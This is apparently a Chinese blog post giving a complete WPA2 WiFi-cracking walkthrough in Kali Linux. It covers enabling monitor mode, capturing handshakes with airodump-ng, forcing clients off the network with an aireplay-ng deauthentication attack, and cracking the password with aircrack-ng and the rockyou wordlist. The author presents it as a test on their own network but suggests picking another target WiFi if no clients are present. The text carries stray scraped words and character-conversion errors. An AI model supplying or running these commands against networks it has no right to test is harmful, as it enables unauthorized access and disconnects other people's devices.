國慶放假在家有點閒,想着以前嘗試用kali破解wifi一直沒有成功過,何不趁這個機會再試一試。spa
1.kali操做系統或者kali虛擬機操作系統
2.若是是虛擬機還須要一個kali能識別的無線網卡(常見的有芯片爲3070和8187)3d
3.強大的字典(kali中也有自帶的,不過仍是本身收集的好用一些)code
解壓kali中的自帶的rockyou.txt.gz:blog
gzip -d /usr/share/wordlists/rockyou.txt.gz
終端中命令:接口
airmon-ng
出現如上圖所示的信息表明無線網卡被識別,可用狀態。若是什麼也沒有顯示,那就是無線網卡沒有被識別。ip
命令:路由
airmon-ng start wlan0
monitor enable 表示監聽開啓 而且同時網卡接口變爲wlan0mon,能夠用ifconfig來驗證虛擬機
命令:it
airodump-ng wlan0mon
這樣就能夠看到kali所能找到的附近的wifi
我這裏就以本身家的WiFi爲例來抓取:
命令:
airodump-ng -c 11 --bssid B8:F8:83:32:17:60 -w ~/ wlan0mon
參數解釋:
-c 表示信道,目標路由器在哪一個信道上就寫哪一個信道。
--bssid 表示目標路由器的MAC地址
-w 表示握手包存放的路徑
注:handshake握手包只有設備與路由器的wifi相連時纔會產生,就是說若是沒有設備相連那麼就抓不到,那麼就一直等待?
不會的,有一條斷網命令,利用向鏈接wifi的設備發送反證包的原理,讓設備斷開wifi,斷開以後該設備會自動再次鏈接WiFi,這時候就能夠抓到handshake包。
命令:
aireplay-ng -0 10 -a B8:F8:83:32:17:60 -c 1C:91:48:A9:48:FD wlan0mon
參數:
-0表示deauthentication攻擊
10表示一次發送10個反證包
-a表示目的路由器的MAC地址
-c表示目標設備的MAC地址
若是發了反證包仍是抓不到,那就一次多發幾個包,多發幾回。
抓到握手包以後能夠Ctrl+C中止抓包,並關閉無線網卡的監控模式
命令:
airmon-ng stop wlan0mon
monitor disable表示監控模式已關閉
命令:
aircrack-ng -a2 -b B8:F8:83:32:17:60 -w /usr/share/wordlists/rockyou.txt ~/*.cap
參數:
-a2表示WPA2的握手包
-b表示目標路由器MAC
-w表示字典所在路徑
最後一個參數是抓到的handshake包
成功破解。
3.1 有時候運氣很差發現目的WiFi上並無鏈接任何設備,那隻能等待有人鏈接或者放棄,從新選擇一個目標WiFi。
3.2 在進行發送反證包的時候,有時候會出現信道不同的狀態,百度之說是內核問題,遇到這種問題,多重複幾回操做就行,趕上信道匹配的機率仍是很大的。
3.3 字典的強大是必須的。